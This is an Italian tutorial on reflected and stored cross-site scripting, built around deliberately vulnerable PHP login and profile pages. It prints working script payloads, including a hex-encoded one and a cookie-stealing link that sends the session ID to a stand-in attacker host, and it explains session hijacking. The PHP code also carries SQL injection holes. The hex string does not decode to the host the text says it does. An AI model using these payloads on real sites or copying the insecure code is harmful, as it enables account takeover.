Nel precedente articolo di questa serie, abbiamo spiegato come prevenire gli attacchi SQL-Injection. In questo articolo vedremo un diverso tipo di attacco chiamato attacchi XXS.
XSS sta per Cross Site Scripting.
XSS è molto simile a SQL-Injection. In SQL-Injection abbiamo sfruttato la vulnerabilità iniettando query SQL come input dell'utente. In XSS, iniettiamo codice (in pratica script lato client) al server remoto.
Tipi di cross-site scripting
Gli attacchi XSS sono classificati in 2 tipi:
- Non persistente
- Persistente
1. Attacco XSS non persistente
In caso di attacco non persistente, è necessario che l'utente visiti il collegamento appositamente predisposto dall'attaccante. Quando l'utente visita il collegamento, il codice creato verrà eseguito dal browser dell'utente. Cerchiamo di capire meglio questo attacco con un esempio.
Esempio di XSS non persistente
index.php:
<?php $name = $_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://xssattackexamples.com/">Click to Download</a>"; ?>
Esempio 1:
Ora l'attaccante creerà un URL come segue e lo invierà alla vittima:
index.php?name=guest<script>alert('attacked')</script> Quando la vittima carica l'URL sopra nel browser, vedrà una finestra di avviso che dice "attaccato". Anche se questo esempio non fa alcun danno, a parte il fastidioso pop-up "attaccato", puoi vedere come un utente malintenzionato può utilizzare questo metodo per fare diverse cose dannose.
Esempio 2:
Ad esempio, l'attaccante ora può provare a modificare l'"URL di destinazione" del collegamento "Fai clic per scaricare". Invece del collegamento al sito Web "xssattackexamples.com", può reindirizzarlo a "not-real-xssattackexamples.com" creando l'URL come mostrato di seguito:
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script> In quanto sopra, abbiamo chiamato la funzione da eseguire su "window.onload". Perché il sito web (cioè index.php) prima fa eco al nome dato e poi solo disegna il tag . Quindi, se scriviamo direttamente come quello mostrato di seguito, non funzionerà, perché quelle istruzioni verranno eseguite prima che il tag venga ripetuto
index.php?name=<script>var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com"</script> Normalmente un utente malintenzionato tende a non creare l'URL che un essere umano può leggere direttamente. Quindi codificherà i caratteri ASCII in esadecimale come segue.
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
che è uguale a:
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script> Ora la vittima potrebbe non sapere di cosa si tratta, perché direttamente non può capire che l'URL è stato creato e la loro è una possibilità in più che possa visitare l'URL.
2. Attacco XSS persistente
In caso di attacco persistente, il codice iniettato dall'attaccante verrà archiviato in un dispositivo di archiviazione secondario (principalmente su un database). Il danno causato dall'attacco persistente è più dell'attacco non persistente. Qui vedremo come dirottare la sessione di un altro utente eseguendo XSS.
Sessione
Il protocollo HTTP è un protocollo stateless, il che significa che non manterrà alcuno stato per quanto riguarda la richiesta e la risposta. Tutte le richieste e le risposte sono indipendenti l'una dall'altra. Ma la maggior parte delle applicazioni web non ne ha bisogno. Una volta che l'utente si è autenticato, il server web non dovrebbe richiedere nome utente/password per la successiva richiesta dell'utente. Per fare ciò, devono mantenere una sorta di stato tra il browser Web e il server Web che viene eseguito tramite le "Sessioni".
Quando l'utente effettua il login per la prima volta, il server web crea un ID di sessione che viene inviato al browser web come “cookie”. Tutte le successive richieste al web server, saranno basate sul "session id" nel cookie.
Esempi di attacco XSS persistente
Questa applicazione Web di esempio che abbiamo fornito di seguito che dimostra l'attacco XSS persistente esegue le seguenti operazioni:
- Esistono due tipi di utenti:utente "Amministratore" e utente "Normale".
- Quando "Admin" effettua il login, può vedere l'elenco dei nomi utente. Quando gli utenti "normali" accedono, possono solo aggiornare il loro nome visualizzato.
login.php:
<?php
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
/* Connect with database asking for a new connection*/
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
/* Error checking the connection string */
if (!$Connect) {
echo "Database Connection Failure";
exit;
}
$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";
$result=pg_query($Connect,$query);
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);
$user_pass = md5($_POST['pass_word']);
$user_name = $row['user_name'];
if(strcmp($user_pass,$row['password'])!=0) {
echo "Login failed";
}
else {
# Start the session
session_start();
$_SESSION['USER_NAME'] = $user_name;
echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
}
?> home.php:
<?php
session_start();
if(!$_SESSION['USER_NAME']) {
echo "Need to login";
}
else {
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
if($_SERVER['REQUEST_METHOD'] == "POST") {
$query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
pg_query($Connect,$query);
echo "Update Success";
}
else {
if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
echo "Welcome admin<br><hr>";
echo "List of user's are<br>";
$query = "select display_name from $Schema.members where user_name!='admin'";
$res = pg_query($Connect,$query);
while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
echo "$row[display_name]<br>";
}
}
else {
echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
echo "<input type=\"submit\" value=\"Update\">";
}
}
}
?> Ora l'attaccante effettua il login come utente normale e inserirà quanto segue nella casella di testo come nome visualizzato:
<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Name</a>
Le informazioni di cui sopra inserite dall'attaccante verranno archiviate nel database (persistente).
Ora, quando l'amministratore accede al sistema, vedrà un collegamento chiamato "Il mio nome" insieme ad altri nomi utente. Quando l'amministratore fa clic sul collegamento, invierà il cookie con l'ID di sessione al sito dell'attaccante. Ora l'attaccante può inviare una richiesta utilizzando quell'ID di sessione sul server Web e può agire come "amministratore" fino alla scadenza della sessione. Le informazioni sui cookie saranno simili alle seguenti:
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3
Una volta che l'hacker conosce il PHPSESSID, può utilizzare questa sessione per ottenere il privilegio di amministratore fino alla scadenza del PHPSESSID.
Per capirlo meglio, possiamo usare un addon Firefox chiamato “Tamper Data”, che può essere usato per aggiungere una nuova intestazione HTTP chiamata “Cookies” e impostare il valore su “PHPSESSID=vmcsjsgear6gsogpu7o2imr9f3”.
Tratteremo come utilizzare i "Dati manomissione" nel prossimo articolo di questa serie.